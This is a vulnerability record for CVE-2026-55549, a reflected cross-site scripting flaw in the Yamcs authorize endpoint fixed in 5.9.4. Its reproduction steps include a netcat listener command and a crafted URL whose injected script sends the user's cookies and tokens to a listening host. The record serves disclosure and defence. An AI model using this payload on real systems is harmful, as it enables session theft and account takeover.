{"id":"CVE-2026-55549","aliases":["CVE-2026-55549","GHSA-rxpg-wjf8-qv9c"],"related":[],"kind":"vulnerability","state":"published","title":"Yamcs: Reflected XSS in the URL of the Authorize Endpoint","summary":"Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Yamcs is a mission control framework. Prior to 5.9.4, Yamcs reflects an attacker-controlled redirect_uri parameter from GET /auth/authorize into yamcs-core/src/main/resources/auth/templates/authorize.html without adequate HTML escaping by yamcs-core/src/main/java/org/yamcs/http/auth/AuthHandler.java and yamcs-core/src/main/java/org/yamcs/http/HandlerContext.java. A crafted authorization URL can execute JavaScript when opened by a Yamcs user. The script can access browser-held authentication material and transmit it to an attacker, enabling account compromise. This issue is fixed in version 5.9.4.","source":"cvelist"},{"lang":"en","text":"### Attack type: \nUnauthenticated remote  \n\n### Impact: \nAttackers can execute arbitrary JavaScript in a user's browser, including obtaining a user's session token and refresh token.\n\n### Affected components: authorize.html, AuthHandler.java, HandlerContext.java\n\nA Reflected Cross-Site Scripting vulnerability exists in Yamcs <=5.8.6, allowing an attacker to execute arbitrary JavaScript in a Yamcs user's browser. This vulnerability can be exploited to exfiltrate a logged-in user's access token and send it to a remote server, leading to the takeover of the user's account.\n\nUsing a specially crafted URL, you are able to execute a JavaScript `alert()` call in the browser:\n\n<img width=\"1794\" height=\"816\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4a5b6aa4-bceb-4b3d-bc5d-3dac0895ff2e\" />\n\nYou then use JavaScript to obtain the user's cookies and display them in the alert:\n\n<img width=\"1794\" height=\"1290\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6c6d2837-db77-409a-a66d-0d2e4edd5435\" />\n\nFinally, use the `fetch` function to send the user's cookies to a remote server which we controlled:\n\n<img width=\"2370\" height=\"1025\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2989fc79-6ca0-4256-afc4-71d44d9923b8\" />\n\nNow you can set these cookies in our own browser and login to Yamcs as the user.\n\n## Steps to Reproduce\n1. Start Yamcs\n2. Login as a user\n3. In a terminal, start a netcat listener:\n\n```\nnc -nlvp 8888\n```\n\n4. Paste the following URL payload in the browser\n\n```\nhttp://localhost:8090/auth/authorize?client_id=yamcs-web&state=Lw&response_mode=query&response_type=code&scope=openid&redirect_uri=http%3A%2F%2Flocalhost:8090%2Fcbi0i7y\"><script>fetch(`http://localhost:8888?c=${document.cookie}`)<%2Fscript>ekuou\n```\n\n5. You will receive a connection on your netcat listener containing the user's access token and refresh token.\n\n## Acknowledgements\nThis vulnerability was discovered by Abderrahim Dahmani while solving a STARPWN 2025 CTF challenge at DEFCON 33 offered by VisionSpace Technologies.","format":"markdown","source":"ghsa"}],"published":"2026-08-28T17:15:52.840Z","modified":"2026-09-08T21:08:37.320Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< 5.9.4","status":"affected"}],"vendor":"yamcs","product":"yamcs","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"5.9.4"}],"ecosystem":"Maven","package":"org.yamcs:yamcs-core","purl":"pkg:maven/org.yamcs/yamcs-core","source":"ghsa"}],"references":[{"url":"https://github.com/yamcs/yamcs/security/advisories/GHSA-rxpg-wjf8-qv9c","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/yamcs/yamcs/commit/4d47d5cdcf5d92c2c5bbbc19feada422923332e3","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/yamcs/yamcs/releases/tag/yamcs-5.9.4","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/yamcs/yamcs","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-09-01T01:48:54.496Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-55549","url":"https://www.cve.org/CVERecord?id=CVE-2026-55549","licence":"CVE Terms of Use","modified":"2026-09-01T01:49:34.239Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-rxpg-wjf8-qv9c","url":"https://github.com/advisories/GHSA-rxpg-wjf8-qv9c","licence":"CC-BY-4.0","modified":"2026-08-28T17:40:35.523Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-55549","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55549","licence":"Public domain","modified":"2026-09-08T21:08:37.320Z"}],"updatedAt":"2026-11-25T22:59:35.691Z","epss":{"score":0.01259,"percentile":0.70424,"date":"2026-12-01T12:00:22.000Z"}}